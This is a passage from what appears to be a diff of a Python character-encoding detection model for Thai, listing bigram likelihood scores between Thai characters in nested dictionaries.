23: 3, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 49: { # 'ฐ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 53: { # 'ฑ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 55: { # 'ฒ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 43: { # 'ณ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 3, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 3, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 3, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 20: { # 'ด' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 2, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 1, # 'ึ' + 27: 2, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 2, # 'ๆ' + 37: 2, # '็' + 6: 1, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 19: { # 'ต' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 2, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 2, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 1, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 2, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 44: { # 'ถ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 3, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 14: { # 'ท' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 3, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 3, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 1, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 3, # 'ศ' + 46: 1, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 48: { # 'ธ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 2, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 2, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 3: { # 'น' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 2, # 'ถ' + 14: 3, # 'ท' + 48: 3, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 1, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 3, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 3, # 'โ' + 29: 3, # 'ใ' + 33: 3, # 'ไ' + 50: 2, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 17: { # 'บ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 1, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 2, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 2, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 25: { # 'ป' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 1, # 'ฎ' + 57: 3, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 1, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 2, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 1, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 39: { # 'ผ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 1, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 0, # 'ุ' + 35: 3, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 1, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 62: { # 'ฝ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 1, # 'ี' + 40: 2, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 1, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 31: { # 'พ' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 2, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 1, # 'ึ' + 27: 3, # 'ื' + 32: 1, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 0, # '่' + 7: 1, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 54: { # 'ฟ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 45: { # 'ภ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 2, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 9: { # 'ม' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 